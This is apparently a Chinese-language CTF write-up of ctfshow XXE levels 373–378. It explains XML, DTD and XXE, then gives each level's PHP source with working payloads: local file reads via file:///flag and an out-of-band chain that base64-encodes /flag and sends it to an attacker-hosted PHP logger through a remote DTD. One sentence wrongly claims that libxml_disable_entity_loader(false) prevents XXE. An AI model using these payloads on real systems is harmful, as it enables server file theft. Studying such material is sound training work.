1.什么是xxe漏洞?
XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
在某些情况下,攻击者可以利用 XXE 漏洞联合执行服务器端请求伪造(SSRF) 攻击,从而提高 XXE 攻击等级以破坏底层服务器或其他后端基础设施。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
2.什么是xml
XML(Extensible Markup Language)是一种类似于 HTML,但是没有使用预定义标记的语言。因此,可以根据自己的设计需求定义专属的标记。这是一种强大将数据存储在一个可以存储、搜索和共享的格式中的方法。最重要的是,因为 XML 的基本格式是标准化的,如果你在本地或互联网上跨系统或平台共享或传输 XML,由于标准化的 XML 语法,接收者仍然可以解析数据。
举个例子:假设一个微信群里面小明发了一条消息“你吃过没”。而这条消息发出后会被储存到服务器里,而当你进入微信的时候,这条消息就会从服务器里抓取过来显示到你的手机上。而这个抓取的过程中假设是以xml文件来传输(也有json,json和xml用途很相似,json、xml都有自己的格式,但其实都只是包装数据时格式不同而已,重要的是其中含有的数据,而不是包装的格式。这里只是举个例子)这时,我们用通俗易懂的文字来表示就是:
发送者:小明
聊天组:xxxx
信息:你吃过没
很明显我们人可以体会字面意思,并自动拆分出数据的,但机器却看不行,所以在传入之前它是通过xml的格式来让机器能识别的出来:
<msg>
<sender ="小明" />
<groupid = 112221 />
<type = test/>
<content = "你吃过没" />
</msg>
XML 文档结构包括 XML 声明、文档类型定义(DTD)、文档元素。
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE people [ <!--定义此文档是 people 类型的文档-->
<!ELEMENT people (name,age,mail)> <!--定义people元素有3个元素-->
<!ELEMENT name (#PCDATA)> <!--定义name元素为“#PCDATA”类型-->
<!ELEMENT age (#PCDATA)> <!--定义age元素为“#PCDATA”类型-->
<!ELEMENT mail (#PCDATA)> <!--定义mail元素为“#PCDATA”类型-->
]]]>
<!--文档元素-->
<people>
<name>john</name>
<age>18</age>
<mail>john@qq.com</mail>
</people>
3.什么是dtd
373
题目源码:
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
第二行语句 libxml_disable_entity_loader(false); 用于开启 XML 实体加载器,防止 XXE(XML External Entity)攻击;接下来的代码块则判断请求是否包含 XML 文件,如果存在则解析该文件并将 ctfshow 标签内的值输出到客户端。
loadXML()函数是DOMDocument类提供的加载XML内容的方法
$creds = simplexml_import_dom($dom);这行代码的作用是将 DOMDocument 对象转化为 SimpleXMLElement 类型的对象,方便对 XML 数据进行操作。在 PHP 中,DOMDocument 是一个类,提供了一种在脚本中创建和修改 XML 文档结构的方法。而 SimpleXMLElement 是另一个类,可以让我们更方便地读取和修改 XML 数据。
在这里,$dom 是一个由 file_get_contents 函数返回的字符串内容,表示一个 XML 文件。simplexml_import_dom 函数则将该字符串转换成了 DOMDocument 对象,并将其转化为 SimpleXMLElement 对象 $creds。这样做的好处在于,SimpleXMLElement 对象使得 XML 数据操作更加简单,我们可以通过对象的属性或方法来提取 XML 标签内的数据,而不需要写繁琐的 DOM 操作代码。
payload
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<sun>
<ctfshow>&xxe;</ctfshow>
</sun>
直接抓包改包
374
题目源码:
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
这一关少了echo语句,说明不能通过回显得到flag。要把读取到的内容也就是flag传到远程服务器查看
在服务器上创建一个1.php
<?php
file_put_contents("test.txt", $_GET['file']) ;
?>
再创建xxe.xml
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://服务器网站域名/1.php?file=%file;'> ">
%dtd;
%xxe;
payload
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://网站域名/xxe.xml">
%aaa;
]>
<root>123</root>
将两个外部实体(%file和%aaa)引入XML文档中
%file定义了一个实体,用于读取位于/flag路径下的文件并对其进行base64编码,则该文件的内容将以base64编码的形式显示在XML响应中。
%aaa定义了一个实体,指向远程XML文档。如果能够成功地利用此漏洞执行XXE攻击,则远程XML文档的内容
回到服务器上,发现多了一个test.txt,里面就是flag,要将其base64解码
375
题目源码:<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
在上面的基础上过滤了xml,version=1或0
就是把上面payload的xxe.xml文件改成xxe.dtd
376
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
过滤了xml,version=1或0,和大小写
用上一题payload,依旧ok的
377
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
这一关在前两关的基础上又加了不区分大小写的过滤http
使用utf-16编码用python(要安装requests库)
然后就是老过程,解码
378
发现有回显,抓个包
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>